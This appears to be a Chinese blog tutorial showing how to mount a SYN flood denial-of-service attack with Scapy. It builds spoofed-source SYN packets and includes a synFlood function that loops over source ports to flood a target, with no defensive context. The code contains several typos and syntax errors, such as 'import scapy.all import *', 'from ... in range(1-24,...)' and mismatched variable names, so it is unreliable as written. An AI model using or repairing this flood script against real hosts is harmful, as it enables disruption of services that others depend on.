Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python通过pil模块获得图片exif信息的方法
Mar 16 Python
简介Django框架中可使用的各类缓存
Jul 23 Python
Python学习小技巧之列表项的排序
May 20 Python
python django使用haystack:全文检索的框架(实例讲解)
Sep 27 Python
利用Python+Java调用Shell脚本时的死锁陷阱详解
Jan 24 Python
python实现对csv文件的列的内容读取
Jul 04 Python
python读取excel指定列数据并写入到新的excel方法
Jul 10 Python
python tornado微信开发入门代码
Aug 24 Python
python实现一组典型数据格式转换
Dec 15 Python
使用python来调用CAN通讯的DLL实现方法
Jul 03 Python
python openpyxl使用方法详解
Jul 18 Python
django 连接数据库出现1045错误的解决方式
May 14 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
迅雷下载《中学科技》怀旧期刊下载
2021/02/27 无线电
php设计模式 Builder(建造者模式)
2011/06/26 PHP
PHP人民币金额数字转中文大写的函数代码
2013/02/27 PHP
asp.net和php的区别点总结
2019/10/10 PHP
js导出table到excel同时兼容FF和IE示例
2013/09/03 Javascript
javascript匿名函数应用示例介绍
2014/03/07 Javascript
jquery+html5制作超酷的圆盘时钟表
2015/04/14 Javascript
浏览器兼容的JS写法总结
2016/04/27 Javascript
基于原生js淡入淡出函数封装(兼容IE)
2016/10/20 Javascript
vue子组件使用自定义事件向父组件传递数据
2017/05/27 Javascript
vue2利用Bus.js如何实现非父子组件通信详解
2017/08/25 Javascript
vue中$set的使用(结合在实际应用中遇到的坑)
2018/07/10 Javascript
js canvas实现画图、滤镜效果
2018/11/27 Javascript
详解使用webpack+electron+reactJs开发windows桌面应用
2019/02/01 Javascript
JS函数基本定义与用法示例
2020/01/15 Javascript
[39:53]完美世界DOTA2联赛PWL S2 LBZS vs Forest 第一场 11.19
2020/11/19 DOTA
[56:38]DOTA2-DPC中国联赛正赛Aster vs Magma BO3 第一场 3月5日
2021/03/11 DOTA
Python functools模块学习总结
2015/05/09 Python
使用PyCharm配合部署Python的Django框架的配置纪实
2015/11/19 Python
Python黑魔法@property装饰器的使用技巧解析
2016/06/16 Python
python3制作捧腹网段子页爬虫
2017/02/12 Python
详解python3中socket套接字的编码问题解决
2017/07/01 Python
python3 http提交json参数并获取返回值的方法
2018/12/19 Python
python 定时器每天就执行一次的实现代码
2019/08/14 Python
深入浅析Python 中的sklearn模型选择
2019/10/12 Python
python单向链表的基本实现与使用方法【定义、遍历、添加、删除、查找等】
2019/10/24 Python
Pycharm插件(Grep Console)自定义规则输出颜色日志的方法
2020/05/27 Python
HomeAway英国:全球领先的度假租赁在线市场
2020/02/03 全球购物
通息工程毕业生自荐信
2013/10/16 职场文书
小学教师事迹材料
2014/01/13 职场文书
体育教学随笔感言
2014/02/24 职场文书
小学生暑假家长评语
2014/04/17 职场文书
信用卡工资证明格式
2014/09/13 职场文书
2015年三万活动总结
2015/03/25 职场文书
解析mybatis-plus中的resultMap简单使用
2021/11/23 Java/Android
Appium中scroll和drag_and_drop根据元素位置滑动
2022/02/15 Python